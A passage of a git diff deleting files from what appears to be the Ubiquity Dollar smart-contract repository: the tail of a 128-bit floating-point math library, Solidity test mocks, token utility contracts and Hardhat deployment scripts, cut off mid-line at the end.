0x100B1AFA5ABCBED6129AB13EC11DC9543) >> - 128; - if (xSignifier & 0x800000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10058C86DA1C09EA1FF19D294CF2F679B) >> - 128; - if (xSignifier & 0x400000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1002C605E2E8CEC506D21BFC89A23A00F) >> - 128; - if (xSignifier & 0x200000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100162F3904051FA128BCA9C55C31E5DF) >> - 128; - if (xSignifier & 0x100000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000B175EFFDC76BA38E31671CA939725) >> - 128; - if (xSignifier & 0x80000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100058BA01FB9F96D6CACD4B180917C3D) >> - 128; - if (xSignifier & 0x40000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10002C5CC37DA9491D0985C348C68E7B3) >> - 128; - if (xSignifier & 0x20000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000162E525EE054754457D5995292026) >> - 128; - if (xSignifier & 0x10000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000B17255775C040618BF4A4ADE83FC) >> - 128; - if (xSignifier & 0x8000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >> - 128; - if (xSignifier & 0x4000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >> - 128; - if (xSignifier & 0x2000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000162E43F4F831060E02D839A9D16D) >> - 128; - if (xSignifier & 0x1000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000B1721BCFC99D9F890EA06911763) >> - 128; - if (xSignifier & 0x800000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000058B90CF1E6D97F9CA14DBCC1628) >> - 128; - if (xSignifier & 0x400000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000002C5C863B73F016468F6BAC5CA2B) >> - 128; - if (xSignifier & 0x200000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000162E430E5A18F6119E3C02282A5) >> - 128; - if (xSignifier & 0x100000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000B1721835514B86E6D96EFD1BFE) >> - 128; - if (xSignifier & 0x80000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000058B90C0B48C6BE5DF846C5B2EF) >> - 128; - if (xSignifier & 0x40000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000002C5C8601CC6B9E94213C72737A) >> - 128; - if (xSignifier & 0x20000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000162E42FFF037DF38AA2B219F06) >> - 128; - if (xSignifier & 0x10000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000B17217FBA9C739AA5819F44F9) >> - 128; - if (xSignifier & 0x8000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000058B90BFCDEE5ACD3C1CEDC823) >> - 128; - if (xSignifier & 0x4000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000002C5C85FE31F35A6A30DA1BE50) >> - 128; - if (xSignifier & 0x2000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000162E42FF0999CE3541B9FFFCF) >> - 128; - if (xSignifier & 0x1000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000B17217F80F4EF5AADDA45554) >> - 128; - if (xSignifier & 0x800000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000058B90BFBF8479BD5A81B51AD) >> - 128; - if (xSignifier & 0x400000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000002C5C85FDF84BD62AE30A74CC) >> - 128; - if (xSignifier & 0x200000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000162E42FEFB2FED257559BDAA) >> - 128; - if (xSignifier & 0x100000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000B17217F7D5A7716BBA4A9AE) >> - 128; - if (xSignifier & 0x80000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000058B90BFBE9DDBAC5E109CCE) >> - 128; - if (xSignifier & 0x40000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000002C5C85FDF4B15DE6F17EB0D) >> - 128; - if (xSignifier & 0x20000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000162E42FEFA494F1478FDE05) >> - 128; - if (xSignifier & 0x10000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000B17217F7D20CF927C8E94C) >> - 128; - if (xSignifier & 0x8000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000058B90BFBE8F71CB4E4B33D) >> - 128; - if (xSignifier & 0x4000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000002C5C85FDF477B662B26945) >> - 128; - if (xSignifier & 0x2000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000162E42FEFA3AE53369388C) >> - 128; - if (xSignifier & 0x1000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000B17217F7D1D351A389D40) >> - 128; - if (xSignifier & 0x800000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000058B90BFBE8E8B2D3D4EDE) >> - 128; - if (xSignifier & 0x400000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000002C5C85FDF4741BEA6E77E) >> - 128; - if (xSignifier & 0x200000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000162E42FEFA39FE95583C2) >> - 128; - if (xSignifier & 0x100000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000B17217F7D1CFB72B45E1) >> - 128; - if (xSignifier & 0x80000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000058B90BFBE8E7CC35C3F0) >> - 128; - if (xSignifier & 0x40000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000002C5C85FDF473E242EA38) >> - 128; - if (xSignifier & 0x20000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000162E42FEFA39F02B772C) >> - 128; - if (xSignifier & 0x10000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000B17217F7D1CF7D83C1A) >> - 128; - if (xSignifier & 0x8000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000058B90BFBE8E7BDCBE2E) >> - 128; - if (xSignifier & 0x4000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000002C5C85FDF473DEA871F) >> - 128; - if (xSignifier & 0x2000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000162E42FEFA39EF44D91) >> - 128; - if (xSignifier & 0x1000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000B17217F7D1CF79E949) >> - 128; - if (xSignifier & 0x800000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000058B90BFBE8E7BCE544) >> - 128; - if (xSignifier & 0x400000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000002C5C85FDF473DE6ECA) >> - 128; - if (xSignifier & 0x200000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000162E42FEFA39EF366F) >> - 128; - if (xSignifier & 0x100000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000B17217F7D1CF79AFA) >> - 128; - if (xSignifier & 0x80000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000058B90BFBE8E7BCD6D) >> - 128; - if (xSignifier & 0x40000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000002C5C85FDF473DE6B2) >> - 128; - if (xSignifier & 0x20000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000162E42FEFA39EF358) >> - 128; - if (xSignifier & 0x10000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000B17217F7D1CF79AB) >> - 128; - if (xSignifier & 0x8000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000058B90BFBE8E7BCD5) >> - 128; - if (xSignifier & 0x4000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000002C5C85FDF473DE6A) >> - 128; - if (xSignifier & 0x2000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000162E42FEFA39EF34) >> - 128; - if (xSignifier & 0x1000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000B17217F7D1CF799) >> - 128; - if (xSignifier & 0x800000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000058B90BFBE8E7BCC) >> - 128; - if (xSignifier & 0x400000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000002C5C85FDF473DE5) >> - 128; - if (xSignifier & 0x200000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000162E42FEFA39EF2) >> - 128; - if (xSignifier & 0x100000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000B17217F7D1CF78) >> - 128; - if (xSignifier & 0x80000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000058B90BFBE8E7BB) >> - 128; - if (xSignifier & 0x40000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000002C5C85FDF473DD) >> - 128; - if (xSignifier & 0x20000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000162E42FEFA39EE) >> - 128; - if (xSignifier & 0x10000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000B17217F7D1CF6) >> - 128; - if (xSignifier & 0x8000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000058B90BFBE8E7A) >> - 128; - if (xSignifier & 0x4000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000002C5C85FDF473C) >> - 128; - if (xSignifier & 0x2000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000162E42FEFA39D) >> - 128; - if (xSignifier & 0x1000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000B17217F7D1CE) >> - 128; - if (xSignifier & 0x800000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000058B90BFBE8E6) >> - 128; - if (xSignifier & 0x400000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000002C5C85FDF472) >> - 128; - if (xSignifier & 0x200000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000162E42FEFA38) >> - 128; - if (xSignifier & 0x100000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000B17217F7D1B) >> - 128; - if (xSignifier & 0x80000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000058B90BFBE8D) >> - 128; - if (xSignifier & 0x40000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000002C5C85FDF46) >> - 128; - if (xSignifier & 0x20000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000162E42FEFA2) >> - 128; - if (xSignifier & 0x10000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000B17217F7D0) >> - 128; - if (xSignifier & 0x8000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000058B90BFBE7) >> - 128; - if (xSignifier & 0x4000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000002C5C85FDF3) >> - 128; - if (xSignifier & 0x2000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000162E42FEF9) >> - 128; - if (xSignifier & 0x1000000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000B17217F7C) >> - 128; - if (xSignifier & 0x800000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000058B90BFBD) >> - 128; - if (xSignifier & 0x400000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000002C5C85FDE) >> - 128; - if (xSignifier & 0x200000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000162E42FEE) >> - 128; - if (xSignifier & 0x100000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000B17217F6) >> - 128; - if (xSignifier & 0x80000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000058B90BFA) >> - 128; - if (xSignifier & 0x40000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000002C5C85FC) >> - 128; - if (xSignifier & 0x20000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000162E42FD) >> - 128; - if (xSignifier & 0x10000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000B17217E) >> - 128; - if (xSignifier & 0x8000000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000058B90BE) >> - 128; - if (xSignifier & 0x4000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000002C5C85E) >> - 128; - if (xSignifier & 0x2000000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000162E42E) >> - 128; - if (xSignifier & 0x1000000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000B17216) >> - 128; - if (xSignifier & 0x800000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000058B90A) >> - 128; - if (xSignifier & 0x400000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000002C5C84) >> - 128; - if (xSignifier & 0x200000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000162E41) >> - 128; - if (xSignifier & 0x100000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000000B1720) >> - 128; - if (xSignifier & 0x80000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000058B8F) >> - 128; - if (xSignifier & 0x40000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000002C5C7) >> - 128; - if (xSignifier & 0x20000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000000162E3) >> - 128; - if (xSignifier & 0x10000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000000B171) >> - 128; - if (xSignifier & 0x8000 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000000058B8) >> - 128; - if (xSignifier & 0x4000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000002C5B) >> - 128; - if (xSignifier & 0x2000 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000000162D) >> - 128; - if (xSignifier & 0x1000 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000B16) >> - 128; - if (xSignifier & 0x800 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000000058A) >> - 128; - if (xSignifier & 0x400 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000000002C4) >> - 128; - if (xSignifier & 0x200 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000161) >> - 128; - if (xSignifier & 0x100 > 0) - resultSignifier = - (resultSignifier * - 0x1000000000000000000000000000000B0) >> - 128; - if (xSignifier & 0x80 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000057) >> - 128; - if (xSignifier & 0x40 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000000002B) >> - 128; - if (xSignifier & 0x20 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000015) >> - 128; - if (xSignifier & 0x10 > 0) - resultSignifier = - (resultSignifier * - 0x10000000000000000000000000000000A) >> - 128; - if (xSignifier & 0x8 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000004) >> - 128; - if (xSignifier & 0x4 > 0) - resultSignifier = - (resultSignifier * - 0x100000000000000000000000000000001) >> - 128; - - if (!xNegative) { - resultSignifier = - (resultSignifier >> 15) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - resultExponent += 0x3FFF; - } else if (resultExponent <= 0x3FFE) { - resultSignifier = - (resultSignifier >> 15) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - resultExponent = 0x3FFF - resultExponent; - } else { - resultSignifier = - resultSignifier >> - (resultExponent - 16367); - resultExponent = 0; - } - - return - bytes16(uint128((resultExponent << 112) | resultSignifier)); - } - } - } - - /** - * Calculate e^x. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function exp(bytes16 x) internal pure returns (bytes16) { - unchecked { - return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A)); - } - } - - /** - * Get index of the most significant non-zero bit in binary representation of - * x. Reverts if x is zero. - * - * @return index of the most significant non-zero bit in binary representation - * of x - */ - function mostSignificantBit(uint256 x) private pure returns (uint256) { - unchecked { - require(x > 0); - - uint256 result = 0; - - if (x >= 0x100000000000000000000000000000000) { - x >>= 128; - result += 128; - } - if (x >= 0x10000000000000000) { - x >>= 64; - result += 64; - } - if (x >= 0x100000000) { - x >>= 32; - result += 32; - } - if (x >= 0x10000) { - x >>= 16; - result += 16; - } - if (x >= 0x100) { - x >>= 8; - result += 8; - } - if (x >= 0x10) { - x >>= 4; - result += 4; - } - if (x >= 0x4) { - x >>= 2; - result += 2; - } - if (x >= 0x2) result += 1; // No need to shift x anymore - - return result; - } - } -} diff --git a/packages/contracts/dollar/contracts/mocks/MockDebtCoupon.sol b/packages/contracts/dollar/contracts/mocks/MockDebtCoupon.sol deleted file mode 100644 index b1107968b..000000000 --- a/packages/contracts/dollar/contracts/mocks/MockDebtCoupon.sol +++ /dev/null @@ -1,18 +0,0 @@ -// contracts/GLDToken.sol -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; - -contract MockDebtCoupon is ERC1155 { - uint256 private _totalOutstandingDebt; - - //@dev URI param is if we want to add an off-chain meta data uri associated with this contract - constructor(uint256 totalDebt) ERC1155("URI") { - _totalOutstandingDebt = totalDebt; - } - - function getTotalOutstandingDebt() public view returns (uint256) { - return _totalOutstandingDebt; - } -} diff --git a/packages/contracts/dollar/contracts/mocks/MockTWAPOracle.sol b/packages/contracts/dollar/contracts/mocks/MockTWAPOracle.sol deleted file mode 100644 index ad74cee26..000000000 --- a/packages/contracts/dollar/contracts/mocks/MockTWAPOracle.sol +++ /dev/null @@ -1,43 +0,0 @@ -// contracts/GLDToken.sol -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -contract MockTWAPOracle { - address public immutable pool; - address public immutable token0; - address public immutable token1; - uint256 public price0Average; - uint256 public price1Average; - uint256 public pricesBlockTimestampLast; - uint256[2] public priceCumulativeLast; - - constructor( - address _pool, - address _uADtoken0, - address _curve3CRVtoken1, - uint256 _price0Average, - uint256 _price1Average - ) { - pool = _pool; - - token0 = _uADtoken0; - token1 = _curve3CRVtoken1; - price0Average = _price0Average; - price1Average = _price1Average; - } - - function consult(address token) external view returns (uint256 amountOut) { - if (token == token0) { - // price to exchange amounIn uAD to 3CRV based on TWAP - amountOut = price0Average; - } else { - require(token == token1, "TWAPOracle: INVALID_TOKEN"); - // price to exchange amounIn 3CRV to uAD based on TWAP - amountOut = price1Average; - } - } - - function update() external pure { - return; - } -} diff --git a/packages/contracts/dollar/contracts/mocks/MockuADToken.sol b/packages/contracts/dollar/contracts/mocks/MockuADToken.sol deleted file mode 100644 index 947b1051a..000000000 --- a/packages/contracts/dollar/contracts/mocks/MockuADToken.sol +++ /dev/null @@ -1,19 +0,0 @@ -// contracts/GLDToken.sol -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; - -contract MockuADToken is ERC20 { - constructor(uint256 initialSupply) ERC20("ubiquityDollar", "uAD") { - _mint(msg.sender, initialSupply); - } - - function burn(address account, uint256 amount) public { - _burn(account, amount); - } - - function mint(address account, uint256 amount) public { - _mint(account, amount); - } -} diff --git a/packages/contracts/dollar/contracts/utils/CollectableDust.sol b/packages/contracts/dollar/contracts/utils/CollectableDust.sol deleted file mode 100644 index 1162d9208..000000000 --- a/packages/contracts/dollar/contracts/utils/CollectableDust.sol +++ /dev/null @@ -1,60 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; - -import "@openzeppelin/contracts/utils/Address.sol"; -import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; -import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; -import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; - -import "../interfaces/utils/ICollectableDust.sol"; - -abstract contract CollectableDust is ICollectableDust { - using SafeERC20 for IERC20; - using EnumerableSet for EnumerableSet.AddressSet; - - address public constant ETH_ADDRESS = - 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; - EnumerableSet.AddressSet internal _protocolTokens; - - // solhint-disable-next-line no-empty-blocks - constructor() {} - - function _addProtocolToken(address _token) internal { - require( - !_protocolTokens.contains(_token), - "collectable-dust::token-is-part-of-the-protocol" - ); - _protocolTokens.add(_token); - emit ProtocolTokenAdded(_token); - } - - function _removeProtocolToken(address _token) internal { - require( - _protocolTokens.contains(_token), - "collectable-dust::token-not-part-of-the-protocol" - ); - _protocolTokens.remove(_token); - emit ProtocolTokenRemoved(_token); - } - - function _sendDust( - address _to, - address _token, - uint256 _amount - ) internal { - require( - _to != address(0), - "collectable-dust::cant-send-dust-to-zero-address" - ); - require( - !_protocolTokens.contains(_token), - "collectable-dust::token-is-part-of-the-protocol" - ); - if (_token == ETH_ADDRESS) { - payable(_to).transfer(_amount); - } else { - IERC20(_token).safeTransfer(_to, _amount); - } - emit DustSent(_to, _token, _amount); - } -} diff --git a/packages/contracts/dollar/contracts/utils/SafeAddArray.sol b/packages/contracts/dollar/contracts/utils/SafeAddArray.sol deleted file mode 100644 index b3756e47f..000000000 --- a/packages/contracts/dollar/contracts/utils/SafeAddArray.sol +++ /dev/null @@ -1,58 +0,0 @@ -// SPDX-License-Identifier: MIT - -// SPDX-License-Identifier: EUPL V1.2 -pragma solidity ^0.8.3; - -/** - * @dev Wrappers over Solidity's array push operations with added check - * - */ -library SafeAddArray { - /** - * @dev Returns the addition of two unsigned integers, reverting on - * overflow. - * - */ - function add(bytes32[] storage array, bytes32 value) internal { - for (uint256 i; i < array.length; i++) { - if (array[i] == value) { - return; - } - } - array.push(value); - } - - function add(string[] storage array, string memory value) internal { - bytes32 hashValue = keccak256(bytes(value)); - for (uint256 i; i < array.length; i++) { - if (keccak256(bytes(array[i])) == hashValue) { - return; - } - } - array.push(value); - } - - function add(uint256[] storage array, uint256 value) internal { - for (uint256 i; i < array.length; i++) { - if (array[i] == value) { - return; - } - } - array.push(value); - } - - function add(uint256[] storage array, uint256[] memory values) internal { - for (uint256 i; i < values.length; i++) { - bool exist = false; - for (uint256 j; j < array.length; j++) { - if (array[j] == values[i]) { - exist = true; - break; - } - } - if (!exist) { - array.push(values[i]); - } - } - } -} diff --git a/packages/contracts/dollar/deploy/Bonding.ts b/packages/contracts/dollar/deploy/Bonding.ts deleted file mode 100644 index 52260cff0..000000000 --- a/packages/contracts/dollar/deploy/Bonding.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("Bonding", { - args: [manager.address, ethers.constants.AddressZero], - ...opts, - }); - deployments.log("Bonding deployed at:", uAD.address); -}; -export default func; -func.tags = ["Bonding"]; diff --git a/packages/contracts/dollar/deploy/BondingShare.ts b/packages/contracts/dollar/deploy/BondingShare.ts deleted file mode 100644 index db3b1bcdd..000000000 --- a/packages/contracts/dollar/deploy/BondingShare.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("BondingShare", { - args: [manager.address], - ...opts, - }); - deployments.log("BondingShare deployed at:", uAD.address); -}; -export default func; -func.tags = ["BondingShare"]; diff --git a/packages/contracts/dollar/deploy/BondingShareV2.ts b/packages/contracts/dollar/deploy/BondingShareV2.ts deleted file mode 100644 index 69107228e..000000000 --- a/packages/contracts/dollar/deploy/BondingShareV2.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uri = `{ - "name": "Bonding Share", - "description": "Ubiquity Bonding Share V2", - "image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/" - }`; - const uAD = await deployments.deploy("BondingShareV2", { - args: [manager.address, uri], - ...opts, - }); - deployments.log("BondingShareV2 deployed at:", uAD.address); -}; -export default func; -func.tags = ["BondingShareV2"]; diff --git a/packages/contracts/dollar/deploy/CouponsForDollarsCalculator.ts b/packages/contracts/dollar/deploy/CouponsForDollarsCalculator.ts deleted file mode 100644 index 23f24c585..000000000 --- a/packages/contracts/dollar/deploy/CouponsForDollarsCalculator.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("CouponsForDollarsCalculator", { - args: [manager.address], - ...opts, - }); - deployments.log("CouponsForDollarsCalculator deployed at:", uAD.address); -}; -export default func; -func.tags = ["CouponsForDollarsCalculator"]; diff --git a/packages/contracts/dollar/deploy/CurveUADIncentive.ts b/packages/contracts/dollar/deploy/CurveUADIncentive.ts deleted file mode 100644 index 968acc026..000000000 --- a/packages/contracts/dollar/deploy/CurveUADIncentive.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("CurveUADIncentive", { - args: [manager.address], - ...opts, - }); - deployments.log("CurveUADIncentive deployed at:", uAD.address); -}; -export default func; -func.tags = ["CurveUADIncentive"]; diff --git a/packages/contracts/dollar/deploy/DebtCoupon.ts b/packages/contracts/dollar/deploy/DebtCoupon.ts deleted file mode 100644 index 58cc73d09..000000000 --- a/packages/contracts/dollar/deploy/DebtCoupon.ts +++ /dev/null @@ -1,48 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import pressAnyKey from "../utils/flow"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - let mgrAdr = ""; - if (mgrAdr.length === 0) { - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - mgrAdr = manager.address; - } - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager = mgrFactory.attach( - mgrAdr // mgr.address - ) as UbiquityAlgorithmicDollarManager; - - const debtCoupon = await deployments.deploy("DebtCoupon", { - args: [mgrAdr], - ...opts, - }); - - deployments.log("DebtCoupon deployed at:", debtCoupon.address); - const debtCouponMgrBefore = await manager.debtCouponAddress(); - - deployments.log("Manager DebtCoupon address at:", debtCoupon.address); - if (debtCouponMgrBefore.toLowerCase() !== debtCoupon.address.toLowerCase()) { - deployments.log("Will update manager DebtCoupon address from:", debtCouponMgrBefore, " to:", debtCoupon.address); - await pressAnyKey(); - await (await manager.setDebtCouponAddress(debtCoupon.address)).wait(1); - const 